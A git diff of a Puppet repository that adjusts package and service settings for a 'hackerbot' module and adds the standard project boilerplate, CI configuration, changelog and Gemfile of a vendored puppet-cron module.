diff --git a/modules/utilities/unix/hackerbot/manifests/install.pp b/modules/utilities/unix/hackerbot/manifests/install.pp
index b386f8b21..0180669a3 100644
--- a/modules/utilities/unix/hackerbot/manifests/install.pp
+++ b/modules/utilities/unix/hackerbot/manifests/install.pp
@@ -25,12 +25,12 @@ class hackerbot::install{
group => 'root',
}
- package { ['nori', 'cinch', 'programr']:
+ package { ['nori', 'cinch', 'programr','nokogiri']:
ensure => 'installed',
provider => 'gem',
}
- package { ['sshpass']:
+ package { ['zlibc','zlib1g','zlib1g-dev','sshpass']:
ensure => 'installed',
}
diff --git a/modules/utilities/unix/hackerbot/manifests/service.pp b/modules/utilities/unix/hackerbot/manifests/service.pp
index 099097b85..3e0c08462 100644
--- a/modules/utilities/unix/hackerbot/manifests/service.pp
+++ b/modules/utilities/unix/hackerbot/manifests/service.pp
@@ -12,12 +12,5 @@ class hackerbot::service{
service { 'hackerbot':
ensure => running,
enable => true,
- }~>
- # reload services (networking needs to be reloaded on the kali virtualbox vm)
- exec { 'hackerbot-systemd-reload':
- command => 'systemctl daemon-reload; service networking restart; service hackerbot restart',
- path => [ '/usr/bin', '/bin', '/usr/sbin' ],
- refreshonly => true,
}
-
}
diff --git a/modules/utilities/unix/languages/java/manifests/params.pp b/modules/utilities/unix/languages/java/manifests/params.pp
index f531a1a68..18ff177db 100644
--- a/modules/utilities/unix/languages/java/manifests/params.pp
+++ b/modules/utilities/unix/languages/java/manifests/params.pp
@@ -124,7 +124,7 @@ class java::params {
},
}
}
- 'vivid', 'wily': {
+ 'vivid', 'wily', 'kali-rolling': {
$java = {
'jdk' => {
'package' => 'openjdk-8-jdk',
diff --git a/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md b/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md
new file mode 100644
index 000000000..7a0980a9e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.github/CONTRIBUTING.md
@@ -0,0 +1,109 @@
+This module has grown over time based on a range of contributions from
+people using it. If you follow these contributing guidelines your patch
+will likely make it into a release a little more quickly.
+
+## Contributing
+
+Please note that this project is released with a Contributor Code of Conduct.
+By participating in this project you agree to abide by its terms.
+[Contributor Code of Conduct](https://voxpupuli.org/coc/).
+
+1. Fork the repo.
+
+1. Create a separate branch for your change.
+
+1. Run the tests. We only take pull requests with passing tests, and
+ documentation.
+
+1. Add a test for your change. Only refactoring and documentation
+ changes require no new tests. If you are adding functionality
+ or fixing a bug, please add a test.
+
+1. Squash your commits down into logical components. Make sure to rebase
+ against the current master.
+
+1. Push the branch to your fork and submit a pull request.
+
+Please be prepared to repeat some of these steps as our contributors review
+your code.
+
+## Dependencies
+
+The testing and development tools have a bunch of dependencies,
+all managed by [bundler](http://bundler.io/) according to the
+[Puppet support matrix](http://docs.puppetlabs.com/guides/platforms.html#ruby-versions).
+
+By default the tests use a baseline version of Puppet.
+
+If you have Ruby 2.x or want a specific version of Puppet,
+you must set an environment variable such as:
+
+ export PUPPET_VERSION="~> 4.2.0"
+
+Install the dependencies like so...
+
+ bundle install
+
+## Syntax and style
+
+The test suite will run [Puppet Lint](http://puppet-lint.com/) and
+[Puppet Syntax](https://github.com/gds-operations/puppet-syntax) to
+check various syntax and style things. You can run these locally with:
+
+ bundle exec rake lint
+ bundle exec rake validate
+
+It will also run some [Rubocop](http://batsov.com/rubocop/) tests
+against it. You can run those locally ahead of time with:
+
+ bundle exec rake rubocop
+
+## Running the unit tests
+
+The unit test suite covers most of the code, as mentioned above please
+add tests if you're adding new functionality. If you've not used
+[rspec-puppet](http://rspec-puppet.com/) before then feel free to ask
+about how best to test your new feature.
+
+To run the linter, the syntax checker and the unit tests:
+
+ bundle exec rake test
+
+To run your all the unit tests
+
+ bundle exec rake spec SPEC_OPTS='--format documentation'
+
+To run a specific spec test set the `SPEC` variable:
+
+ bundle exec rake spec SPEC=spec/foo_spec.rb
+
+## Integration tests
+
+The unit tests just check the code runs, not that it does exactly what
+we want on a real machine. For that we're using
+[beaker](https://github.com/puppetlabs/beaker).
+
+This fires up a new virtual machine (using vagrant) and runs a series of
+simple tests against it after applying the module. You can run this
+with:
+
+ bundle exec rake acceptance
+
+This will run the tests on the module's default nodeset. You can override the
+nodeset used, e.g.,
+
+ BEAKER_set=centos-7-x64 bundle exec rake acceptance
+
+There are default rake tasks for the various acceptance test modules, e.g.,
+
+ bundle exec rake beaker:centos-7-x64
+ bundle exec rake beaker:ssh:centos-7-x64
+
+If you don't want to have to recreate the virtual machine every time you can
+use `BEAKER_destroy=no` and `BEAKER_provision=no`. On the first run you will at
+least need `BEAKER_provision` set to yes (the default). The Vagrantfile for the
+created virtual machines will be in `.vagrant/beaker_vagrant_files`.
+
+The easiest way to debug in a docker container is to open a shell:
+
+ docker exec -it -u root ${container_id_or_name} bash
diff --git a/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md b/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md
new file mode 100644
index 000000000..593e7aa83
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.github/ISSUE_TEMPLATE.md
@@ -0,0 +1,26 @@
+
+
+## Affected Puppet, Ruby, OS and module versions/distributions
+
+- Puppet:
+- Ruby:
+- Distribution:
+- Module version:
+
+## How to reproduce (e.g Puppet code you use)
+
+## What are you seeing
+
+## What behaviour did you expect instead
+
+## Output log
+
+## Any additional information you'd like to impart
diff --git a/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md b/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md
new file mode 100644
index 000000000..66f80444c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.github/PULL_REQUEST_TEMPLATE.md
@@ -0,0 +1,8 @@
+
diff --git a/modules/utilities/unix/puppet_module/cron/.gitignore b/modules/utilities/unix/puppet_module/cron/.gitignore
new file mode 100644
index 000000000..e9b3cf4bc
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.gitignore
@@ -0,0 +1,20 @@
+pkg/
+Gemfile.lock
+Gemfile.local
+vendor/
+.vendor/
+spec/fixtures/manifests/
+spec/fixtures/modules/
+.vagrant/
+.bundle/
+.ruby-version
+coverage/
+log/
+.idea/
+.dependencies/
+.librarian/
+Puppetfile.lock
+*.iml
+.*.sw?
+.yardoc/
+Guardfile
diff --git a/modules/utilities/unix/puppet_module/cron/.msync.yml b/modules/utilities/unix/puppet_module/cron/.msync.yml
new file mode 100644
index 000000000..08e85ce0e
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.msync.yml
@@ -0,0 +1 @@
+modulesync_config_version: '1.6.0'
diff --git a/modules/utilities/unix/puppet_module/cron/.overcommit.yml b/modules/utilities/unix/puppet_module/cron/.overcommit.yml
new file mode 100644
index 000000000..31699e747
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.overcommit.yml
@@ -0,0 +1,63 @@
+# Managed by https://github.com/voxpupuli/modulesync_configs
+#
+# Hooks are only enabled if you take action.
+#
+# To enable the hooks run:
+#
+# ```
+# bundle exec overcommit --install
+# # ensure .overcommit.yml does not harm to you and then
+# bundle exec overcommit --sign
+# ```
+#
+# (it will manage the .git/hooks directory):
+#
+# Examples howto skip a test for a commit or push:
+#
+# ```
+# SKIP=RuboCop git commit
+# SKIP=PuppetLint git commit
+# SKIP=RakeTask git push
+# ```
+#
+# Don't invoke overcommit at all:
+#
+# ```
+# OVERCOMMIT_DISABLE=1 git commit
+# ```
+#
+# Read more about overcommit: https://github.com/brigade/overcommit
+#
+# To manage this config yourself in your module add
+#
+# ```
+# .overcommit.yml:
+# unmanaged: true
+# ```
+#
+# to your modules .sync.yml config
+---
+PreCommit:
+ RuboCop:
+ enabled: true
+ description: 'Runs rubocop on modified files only'
+ command: ['bundle', 'exec', 'rubocop']
+ PuppetLint:
+ enabled: true
+ description: 'Runs puppet-lint on modified files only'
+ command: ['bundle', 'exec', 'puppet-lint']
+ YamlSyntax:
+ enabled: true
+ JsonSyntax:
+ enabled: true
+ TrailingWhitespace:
+ enabled: true
+
+PrePush:
+ RakeTarget:
+ enabled: true
+ description: 'Run rake targets'
+ targets:
+ - 'test'
+ - 'rubocop'
+ command: [ 'bundle', 'exec', 'rake' ]
diff --git a/modules/utilities/unix/puppet_module/cron/.pmtignore b/modules/utilities/unix/puppet_module/cron/.pmtignore
new file mode 100644
index 000000000..fb5895753
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.pmtignore
@@ -0,0 +1,20 @@
+docs/
+pkg/
+Gemfile.lock
+Gemfile.local
+vendor/
+.vendor/
+spec/fixtures/manifests/
+spec/fixtures/modules/
+.vagrant/
+.bundle/
+.ruby-version
+coverage/
+log/
+.idea/
+.dependencies/
+.librarian/
+Puppetfile.lock
+*.iml
+.*.sw?
+.yardoc/
diff --git a/modules/utilities/unix/puppet_module/cron/.rspec b/modules/utilities/unix/puppet_module/cron/.rspec
new file mode 100644
index 000000000..8c18f1abd
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.rspec
@@ -0,0 +1,2 @@
+--format documentation
+--color
diff --git a/modules/utilities/unix/puppet_module/cron/.rspec_parallel b/modules/utilities/unix/puppet_module/cron/.rspec_parallel
new file mode 100644
index 000000000..e4d136b75
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.rspec_parallel
@@ -0,0 +1 @@
+--format progress
diff --git a/modules/utilities/unix/puppet_module/cron/.rubocop.yml b/modules/utilities/unix/puppet_module/cron/.rubocop.yml
new file mode 100644
index 000000000..099a11c53
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.rubocop.yml
@@ -0,0 +1,545 @@
+require: rubocop-rspec
+AllCops:
+ TargetRubyVersion: 1.9
+ Include:
+ - ./**/*.rb
+ Exclude:
+ - files/**/*
+ - vendor/**/*
+ - .vendor/**/*
+ - pkg/**/*
+ - spec/fixtures/**/*
+ - Gemfile
+ - Rakefile
+ - Guardfile
+ - Vagrantfile
+Lint/ConditionPosition:
+ Enabled: True
+
+Lint/ElseLayout:
+ Enabled: True
+
+Lint/UnreachableCode:
+ Enabled: True
+
+Lint/UselessComparison:
+ Enabled: True
+
+Lint/EnsureReturn:
+ Enabled: True
+
+Lint/HandleExceptions:
+ Enabled: True
+
+Lint/LiteralInCondition:
+ Enabled: True
+
+Lint/ShadowingOuterLocalVariable:
+ Enabled: True
+
+Lint/LiteralInInterpolation:
+ Enabled: True
+
+Style/HashSyntax:
+ Enabled: True
+
+Style/RedundantReturn:
+ Enabled: True
+
+Layout/EndOfLine:
+ Enabled: False
+
+Lint/AmbiguousOperator:
+ Enabled: True
+
+Lint/AssignmentInCondition:
+ Enabled: True
+
+Layout/SpaceBeforeComment:
+ Enabled: True
+
+Style/AndOr:
+ Enabled: True
+
+Style/RedundantSelf:
+ Enabled: True
+
+Metrics/BlockLength:
+ Enabled: False
+
+# Method length is not necessarily an indicator of code quality
+Metrics/MethodLength:
+ Enabled: False
+
+# Module length is not necessarily an indicator of code quality
+Metrics/ModuleLength:
+ Enabled: False
+
+Style/WhileUntilModifier:
+ Enabled: True
+
+Lint/AmbiguousRegexpLiteral:
+ Enabled: True
+
+Security/Eval:
+ Enabled: True
+
+Lint/BlockAlignment:
+ Enabled: True
+
+Lint/DefEndAlignment:
+ Enabled: True
+
+Lint/EndAlignment:
+ Enabled: True
+
+Lint/DeprecatedClassMethods:
+ Enabled: True
+
+Lint/Loop:
+ Enabled: True
+
+Lint/ParenthesesAsGroupedExpression:
+ Enabled: True
+
+Lint/RescueException:
+ Enabled: True
+
+Lint/StringConversionInInterpolation:
+ Enabled: True
+
+Lint/UnusedBlockArgument:
+ Enabled: True
+
+Lint/UnusedMethodArgument:
+ Enabled: True
+
+Lint/UselessAccessModifier:
+ Enabled: True
+
+Lint/UselessAssignment:
+ Enabled: True
+
+Lint/Void:
+ Enabled: True
+
+Layout/AccessModifierIndentation:
+ Enabled: True
+
+Style/AccessorMethodName:
+ Enabled: True
+
+Style/Alias:
+ Enabled: True
+
+Layout/AlignArray:
+ Enabled: True
+
+Layout/AlignHash:
+ Enabled: True
+
+Layout/AlignParameters:
+ Enabled: True
+
+Metrics/BlockNesting:
+ Enabled: True
+
+Style/AsciiComments:
+ Enabled: True
+
+Style/Attr:
+ Enabled: True
+
+Style/BracesAroundHashParameters:
+ Enabled: True
+
+Style/CaseEquality:
+ Enabled: True
+
+Layout/CaseIndentation:
+ Enabled: True
+
+Style/CharacterLiteral:
+ Enabled: True
+
+Style/ClassAndModuleCamelCase:
+ Enabled: True
+
+Style/ClassAndModuleChildren:
+ Enabled: False
+
+Style/ClassCheck:
+ Enabled: True
+
+# Class length is not necessarily an indicator of code quality
+Metrics/ClassLength:
+ Enabled: False
+
+Style/ClassMethods:
+ Enabled: True
+
+Style/ClassVars:
+ Enabled: True
+
+Style/WhenThen:
+ Enabled: True
+
+Style/WordArray:
+ Enabled: True
+
+Style/UnneededPercentQ:
+ Enabled: True
+
+Layout/Tab:
+ Enabled: True
+
+Layout/SpaceBeforeSemicolon:
+ Enabled: True
+
+Layout/TrailingBlankLines:
+ Enabled: True
+
+Layout/SpaceInsideBlockBraces:
+ Enabled: True
+
+Layout/SpaceInsideBrackets:
+ Enabled: True
+
+Layout/SpaceInsideHashLiteralBraces:
+ Enabled: True
+
+Layout/SpaceInsideParens:
+ Enabled: True
+
+Layout/LeadingCommentSpace:
+ Enabled: True
+
+Layout/SpaceBeforeFirstArg:
+ Enabled: True
+
+Layout/SpaceAfterColon:
+ Enabled: True
+
+Layout/SpaceAfterComma:
+ Enabled: True
+
+Layout/SpaceAfterMethodName:
+ Enabled: True
+
+Layout/SpaceAfterNot:
+ Enabled: True
+
+Layout/SpaceAfterSemicolon:
+ Enabled: True
+
+Layout/SpaceAroundEqualsInParameterDefault:
+ Enabled: True
+
+Layout/SpaceAroundOperators:
+ Enabled: True
+
+Layout/SpaceBeforeBlockBraces:
+ Enabled: True
+
+Layout/SpaceBeforeComma:
+ Enabled: True
+
+Style/CollectionMethods:
+ Enabled: True
+
+Layout/CommentIndentation:
+ Enabled: True
+
+Style/ColonMethodCall:
+ Enabled: True
+
+Style/CommentAnnotation:
+ Enabled: True
+
+# 'Complexity' is very relative
+Metrics/CyclomaticComplexity:
+ Enabled: False
+
+Style/ConstantName:
+ Enabled: True
+
+Style/Documentation:
+ Enabled: False
+
+Style/DefWithParentheses:
+ Enabled: True
+
+Style/PreferredHashMethods:
+ Enabled: True
+
+Layout/DotPosition:
+ EnforcedStyle: trailing
+
+Style/DoubleNegation:
+ Enabled: True
+
+Style/EachWithObject:
+ Enabled: True
+
+Layout/EmptyLineBetweenDefs:
+ Enabled: True
+
+Layout/IndentArray:
+ Enabled: True
+
+Layout/IndentHash:
+ Enabled: True
+
+Layout/IndentationConsistency:
+ Enabled: True
+
+Layout/IndentationWidth:
+ Enabled: True
+
+Layout/EmptyLines:
+ Enabled: True
+
+Layout/EmptyLinesAroundAccessModifier:
+ Enabled: True
+
+Style/EmptyLiteral:
+ Enabled: True
+
+# Configuration parameters: AllowURI, URISchemes.
+Metrics/LineLength:
+ Enabled: False
+
+Style/MethodCallWithoutArgsParentheses:
+ Enabled: True
+
+Style/MethodDefParentheses:
+ Enabled: True
+
+Style/LineEndConcatenation:
+ Enabled: True
+
+Layout/TrailingWhitespace:
+ Enabled: True
+
+Style/StringLiterals:
+ Enabled: True
+
+Style/TrailingCommaInArguments:
+ Enabled: True
+
+Style/TrailingCommaInLiteral:
+ Enabled: True
+
+Style/GlobalVars:
+ Enabled: True
+
+Style/GuardClause:
+ Enabled: True
+
+Style/IfUnlessModifier:
+ Enabled: True
+
+Style/MultilineIfThen:
+ Enabled: True
+
+Style/NegatedIf:
+ Enabled: True
+
+Style/NegatedWhile:
+ Enabled: True
+
+Style/Next:
+ Enabled: True
+
+Style/SingleLineBlockParams:
+ Enabled: True
+
+Style/SingleLineMethods:
+ Enabled: True
+
+Style/SpecialGlobalVars:
+ Enabled: True
+
+Style/TrivialAccessors:
+ Enabled: True
+
+Style/UnlessElse:
+ Enabled: True
+
+Style/VariableInterpolation:
+ Enabled: True
+
+Style/VariableName:
+ Enabled: True
+
+Style/WhileUntilDo:
+ Enabled: True
+
+Style/EvenOdd:
+ Enabled: True
+
+Style/FileName:
+ Enabled: True
+
+Style/For:
+ Enabled: True
+
+Style/Lambda:
+ Enabled: True
+
+Style/MethodName:
+ Enabled: True
+
+Style/MultilineTernaryOperator:
+ Enabled: True
+
+Style/NestedTernaryOperator:
+ Enabled: True
+
+Style/NilComparison:
+ Enabled: True
+
+Style/FormatString:
+ Enabled: True
+
+Style/MultilineBlockChain:
+ Enabled: True
+
+Style/Semicolon:
+ Enabled: True
+
+Style/SignalException:
+ Enabled: True
+
+Style/NonNilCheck:
+ Enabled: True
+
+Style/Not:
+ Enabled: True
+
+Style/NumericLiterals:
+ Enabled: True
+
+Style/OneLineConditional:
+ Enabled: True
+
+Style/OpMethod:
+ Enabled: True
+
+Style/ParenthesesAroundCondition:
+ Enabled: True
+
+Style/PercentLiteralDelimiters:
+ Enabled: True
+
+Style/PerlBackrefs:
+ Enabled: True
+
+Style/PredicateName:
+ Enabled: True
+
+Style/RedundantException:
+ Enabled: True
+
+Style/SelfAssignment:
+ Enabled: True
+
+Style/Proc:
+ Enabled: True
+
+Style/RaiseArgs:
+ Enabled: True
+
+Style/RedundantBegin:
+ Enabled: True
+
+Style/RescueModifier:
+ Enabled: True
+
+# based on https://github.com/voxpupuli/modulesync_config/issues/168
+Style/RegexpLiteral:
+ EnforcedStyle: percent_r
+ Enabled: True
+
+Lint/UnderscorePrefixedVariableName:
+ Enabled: True
+
+Metrics/ParameterLists:
+ Enabled: False
+
+Lint/RequireParentheses:
+ Enabled: True
+
+Style/ModuleFunction:
+ Enabled: True
+
+Lint/Debugger:
+ Enabled: True
+
+Style/IfWithSemicolon:
+ Enabled: True
+
+Style/Encoding:
+ Enabled: True
+
+Style/BlockDelimiters:
+ Enabled: True
+
+Layout/MultilineBlockLayout:
+ Enabled: True
+
+# 'Complexity' is very relative
+Metrics/AbcSize:
+ Enabled: False
+
+# 'Complexity' is very relative
+Metrics/PerceivedComplexity:
+ Enabled: False
+
+Lint/UselessAssignment:
+ Enabled: True
+
+Layout/ClosingParenthesisIndentation:
+ Enabled: True
+
+# RSpec
+
+RSpec/BeforeAfterAll:
+ Exclude:
+ - spec/acceptance/**/*
+
+# We don't use rspec in this way
+RSpec/DescribeClass:
+ Enabled: False
+
+# Example length is not necessarily an indicator of code quality
+RSpec/ExampleLength:
+ Enabled: False
+
+RSpec/NamedSubject:
+ Enabled: False
+
+# disabled for now since they cause a lot of issues
+# these issues aren't easy to fix
+RSpec/RepeatedDescription:
+ Enabled: False
+
+RSpec/NestedGroups:
+ Enabled: False
+
+# this is broken on ruby1.9
+Layout/IndentHeredoc:
+ Enabled: False
+
+# disable Yaml safe_load. This is needed to support ruby2.0.0 development envs
+Security/YAMLLoad:
+ Enabled: false
+
+# This affects hiera interpolation, as well as some configs that we push.
+Style/FormatStringToken:
+ Enabled: false
+
+# This is useful, but sometimes a little too picky about where unit tests files
+# are located.
+RSpec/FilePath:
+ Enabled: false
diff --git a/modules/utilities/unix/puppet_module/cron/.sync.yml b/modules/utilities/unix/puppet_module/cron/.sync.yml
new file mode 100644
index 000000000..ebab03bd8
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.sync.yml
@@ -0,0 +1,5 @@
+---
+.travis.yml:
+ secure: "4Vw+AVfd98TLxVzNJs7oGvQjRcFK1ruaLuL3tnJVsHy1QBTkATy2tsa8EdA7biK2SUD/Sl4saUW0wdmrEcykp6eGSuShInZHb6CuH75+fmCuLlLeCi1gd4eHtxEImhFf7pIJRYQLJV3apPjGMQKjzN0ACmOu0fG2e+BBdwNXrAZmJwRszr36kBHg2FkYiYOcQuflZvCdYgKBDLk47PBAfJ8RmeR04GllrtiMdVqau0Z3lYTNegYAS6UGrXNk5kWxVpf9jKBXoILscvy5ltlZAPtj86mTx8xLswRCfn7DTuUg0rrqDq49v6xgOCpSj9s7PXEYEKgbv/bsTr/lLgm/LtlOOteKvJPIcZ7hdYL+wftdPudryscVhfneqQPF78VvP7jCkU1ntTPO6y6alQpPDBDuskNW059pF6DPXys7wwcOy+nNfcQkiattwBl94FGhFIOH5wTLLJ6he2sZMEua4xGpWEtx2fe/UXJFBAGsXjv+BrPhPQkOFscHLEWRktd8I5IsoPhQMevBj+HDUDOCsEYtzw8hV5QB4Ey4S6C20YlvwN0CR3yQmX9iLfoWvCgx6O89ECMcpPvdruONqB5/rmEJ0bAqnNp4fwhq066jkvLPlIpk5c8ItDza0DunfwvXTiqp6lLL7dUJWnOyw2f+Gz1E0OpgqANtReiuS9inf7c="
+spec/spec_helper.rb:
+ spec_overrides: "require 'spec_helper_methods'"
diff --git a/modules/utilities/unix/puppet_module/cron/.travis.yml b/modules/utilities/unix/puppet_module/cron/.travis.yml
new file mode 100644
index 000000000..74746acfe
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.travis.yml
@@ -0,0 +1,46 @@
+---
+sudo: false
+dist: trusty
+language: ruby
+cache: bundler
+before_install:
+ - rm -f Gemfile.lock
+script:
+ - 'bundle exec rake $CHECK'
+matrix:
+ fast_finish: true
+ include:
+ - rvm: 2.1.9
+ bundler_args: --without system_tests development release
+ env: PUPPET_VERSION="~> 4.0" CHECK=test PARALLEL_TEST_PROCESSORS=16
+ - rvm: 2.4.2
+ bundler_args: --without system_tests development release
+ env: PUPPET_VERSION="~> 5.0" CHECK=test_with_coveralls
+ - rvm: 2.4.2
+ bundler_args: --without system_tests development release
+ env: PUPPET_VERSION="~> 5.0" CHECK=rubocop
+ - rvm: 2.4.2
+ bundler_args: --without system_tests development release
+ env: PUPPET_VERSION="~> 5.0" CHECK=build DEPLOY_TO_FORGE=yes
+branches:
+ only:
+ - master
+ - /^v\d/
+notifications:
+ email: false
+ irc:
+ on_success: always
+ on_failure: always
+ channels:
+ - "chat.freenode.org#voxpupuli-notifications"
+deploy:
+ provider: puppetforge
+ user: puppet
+ password:
+ secure: "4Vw+AVfd98TLxVzNJs7oGvQjRcFK1ruaLuL3tnJVsHy1QBTkATy2tsa8EdA7biK2SUD/Sl4saUW0wdmrEcykp6eGSuShInZHb6CuH75+fmCuLlLeCi1gd4eHtxEImhFf7pIJRYQLJV3apPjGMQKjzN0ACmOu0fG2e+BBdwNXrAZmJwRszr36kBHg2FkYiYOcQuflZvCdYgKBDLk47PBAfJ8RmeR04GllrtiMdVqau0Z3lYTNegYAS6UGrXNk5kWxVpf9jKBXoILscvy5ltlZAPtj86mTx8xLswRCfn7DTuUg0rrqDq49v6xgOCpSj9s7PXEYEKgbv/bsTr/lLgm/LtlOOteKvJPIcZ7hdYL+wftdPudryscVhfneqQPF78VvP7jCkU1ntTPO6y6alQpPDBDuskNW059pF6DPXys7wwcOy+nNfcQkiattwBl94FGhFIOH5wTLLJ6he2sZMEua4xGpWEtx2fe/UXJFBAGsXjv+BrPhPQkOFscHLEWRktd8I5IsoPhQMevBj+HDUDOCsEYtzw8hV5QB4Ey4S6C20YlvwN0CR3yQmX9iLfoWvCgx6O89ECMcpPvdruONqB5/rmEJ0bAqnNp4fwhq066jkvLPlIpk5c8ItDza0DunfwvXTiqp6lLL7dUJWnOyw2f+Gz1E0OpgqANtReiuS9inf7c="
+ on:
+ tags: true
+ # all_branches is required to use tags
+ all_branches: true
+ # Only publish the build marked with "DEPLOY_TO_FORGE"
+ condition: "$DEPLOY_TO_FORGE = yes"
diff --git a/modules/utilities/unix/puppet_module/cron/.yardopts b/modules/utilities/unix/puppet_module/cron/.yardopts
new file mode 100644
index 000000000..3687f5184
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/.yardopts
@@ -0,0 +1,2 @@
+--markup markdown
+--output-dir docs/
diff --git a/modules/utilities/unix/puppet_module/cron/CHANGELOG.md b/modules/utilities/unix/puppet_module/cron/CHANGELOG.md
new file mode 100644
index 000000000..391dfd9b1
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/CHANGELOG.md
@@ -0,0 +1,110 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+Each new release typically also includes the latest modulesync defaults.
+These should not affect the functionality of the module.
+
+## [v1.1.1](https://github.com/voxpupuli/puppet-cron/tree/v1.1.1) (2018-01-19)
+
+[Full Changelog](https://github.com/voxpupuli/puppet-cron/compare/v1.1.0...v1.1.1)
+
+**Merged pull requests:**
+
+- Fix README.md links [\#42](https://github.com/voxpupuli/puppet-cron/pull/42) ([alexjfisher](https://github.com/alexjfisher))
+
+## [v1.1.0](https://github.com/voxpupuli/puppet-cron/tree/v1.1.0) (2018-01-19)
+
+[Full Changelog](https://github.com/voxpupuli/puppet-cron/compare/v1.0.0...v1.1.0)
+
+**Fixed bugs:**
+
+- Fix hiera lookup regression [\#40](https://github.com/voxpupuli/puppet-cron/pull/40) ([alexjfisher](https://github.com/alexjfisher))
+
+**Merged pull requests:**
+
+- Voxpupuli migration [\#37](https://github.com/voxpupuli/puppet-cron/pull/37) ([alexjfisher](https://github.com/alexjfisher))
+
+## v1.0.0 (2017-10-14)
+
+ * BREAKING: Require Puppet version >=4.9.1
+ * Added type-hinting to all manifest parameters
+ * Added management of /etc/cron.allow and /etc/cron.deny
+ * Replaced hiera\_hash() with lookup() calls
+ * Replaced params.pp with in-module data (Hiera 5)
+ * Replaced create\_resources with iterators
+ * Replaced anchor pattern with contain
+ * Made the cron::job command attribute optional
+
+## v0.2.1 (2017-07-30)
+
+ * Added support for special time options
+ * Rspec fixes
+
+## v0.2.0 (2016-11-22)
+
+ * BREAKING: Added cron service managment
+ The cron service is now managed by this module and by default the service will be started
+ * Rspec fixes
+
+## v0.1.8 (2016-06-26)
+
+ * Added support for Scientific Linux
+
+## v0.1.7 (2016-06-12)
+
+ * Properly support Gentoo
+ * Documentation fixes
+ * Rspec fixes
+
+## v0.1.6 (2016-04-10)
+
+ * Added description parameters
+
+## v0.1.5 (2016-03-06)
+
+ * Fix release on forge
+
+## v0.1.4 (2016-03-06)
+
+ * Added possibility to add jobs from hiera
+ * Added Debian as supported operating system
+ * Allow declaration of cron class without managing the cron package
+ * Properly detect RHEL 5 based cron packages
+ * Fix puppet-lint warnings
+ * Add more tests
+
+## v0.1.3 (2015-09-20)
+
+ * Support for multiple cron jobs in a single file added (cron::job::multiple)
+ * Make manifest code more readable
+ * Change header in template to fit standard 80 char wide terminals
+ * Extend README.md
+
+## v0.1.2 (2015-08-13)
+
+ * Update to new style of Puppet modules (metadata.json)
+
+## v0.1.1 (2015-07-12)
+
+ * Make module Puppet 4 compatible
+ * Fix Travis CI integration
+
+## v0.1.0 (2013-08-27)
+
+ * Add support for the `ensure` parameter
+
+## v0.0.3 (2013-07-04)
+
+ * Make job files owned by root
+ * Fix warnings for Puppet 3.2.2
+
+## v0.0.2 (2013-05-11)
+
+ * Make mode of job file configurable
+
+## v0.0.1 (2013-03-02)
+
+ * Initial PuppetForge release
+
+
+\* *This Changelog was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*
\ No newline at end of file
diff --git a/modules/utilities/unix/puppet_module/cron/Gemfile b/modules/utilities/unix/puppet_module/cron/Gemfile
new file mode 100644
index 000000000..666c75dab
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/Gemfile
@@ -0,0 +1,77 @@
+source ENV['GEM_SOURCE'] || "https://rubygems.org"
+
+def location_for(place, fake_version = nil)
+ if place =~ /^(git[:@][^#]*)#(.*)/
+ [fake_version, { :git => $1, :branch => $2, :require => false }].compact
+ elsif place =~ /^file:\/\/(.*)/
+ ['>= 0', { :path => File.expand_path($1), :require => false }]
+ else
+ [place, { :require => false }]
+ end
+end
+
+group :test do
+ gem 'puppetlabs_spec_helper', '~> 2.5.0', :require => false
+ gem 'rspec-puppet', '~> 2.5', :require => false
+ gem 'rspec-puppet-facts', :require => false
+ gem 'rspec-puppet-utils', :require => false
+ gem 'puppet-lint-leading_zero-check', :require => false
+ gem 'puppet-lint-trailing_comma-check', :require => false
+ gem 'puppet-lint-version_comparison-check', :require => false
+ gem 'puppet-lint-classes_and_types_beginning_with_digits-check', :require => false
+ gem 'puppet-lint-unquoted_string-check', :require => false
+ gem 'puppet-lint-variable_contains_upcase', :require => false
+ gem 'metadata-json-lint', :require => false
+ gem 'redcarpet', :require => false
+ gem 'rubocop', '~> 0.49.1', :require => false if RUBY_VERSION >= '2.3.0'
+ gem 'rubocop-rspec', '~> 1.15.0', :require => false if RUBY_VERSION >= '2.3.0'
+ gem 'mocha', '>= 1.2.1', :require => false
+ gem 'coveralls', :require => false
+ gem 'simplecov-console', :require => false
+ gem 'rack', '~> 1.0', :require => false if RUBY_VERSION < '2.2.2'
+ gem 'parallel_tests', :require => false
+end
+
+group :development do
+ gem 'travis', :require => false
+ gem 'travis-lint', :require => false
+ gem 'guard-rake', :require => false
+ gem 'overcommit', '>= 0.39.1', :require => false
+end
+
+group :system_tests do
+ gem 'winrm', :require => false
+ if beaker_version = ENV['BEAKER_VERSION']
+ gem 'beaker', *location_for(beaker_version)
+ else
+ gem 'beaker', '>= 3.9.0', :require => false
+ end
+ if beaker_rspec_version = ENV['BEAKER_RSPEC_VERSION']
+ gem 'beaker-rspec', *location_for(beaker_rspec_version)
+ else
+ gem 'beaker-rspec', :require => false
+ end
+ gem 'serverspec', :require => false
+ gem 'beaker-puppet_install_helper', :require => false
+ gem 'beaker-module_install_helper', :require => false
+end
+
+group :release do
+ gem 'github_changelog_generator', :require => false if RUBY_VERSION >= '2.2.2'
+ gem 'puppet-blacksmith', :require => false
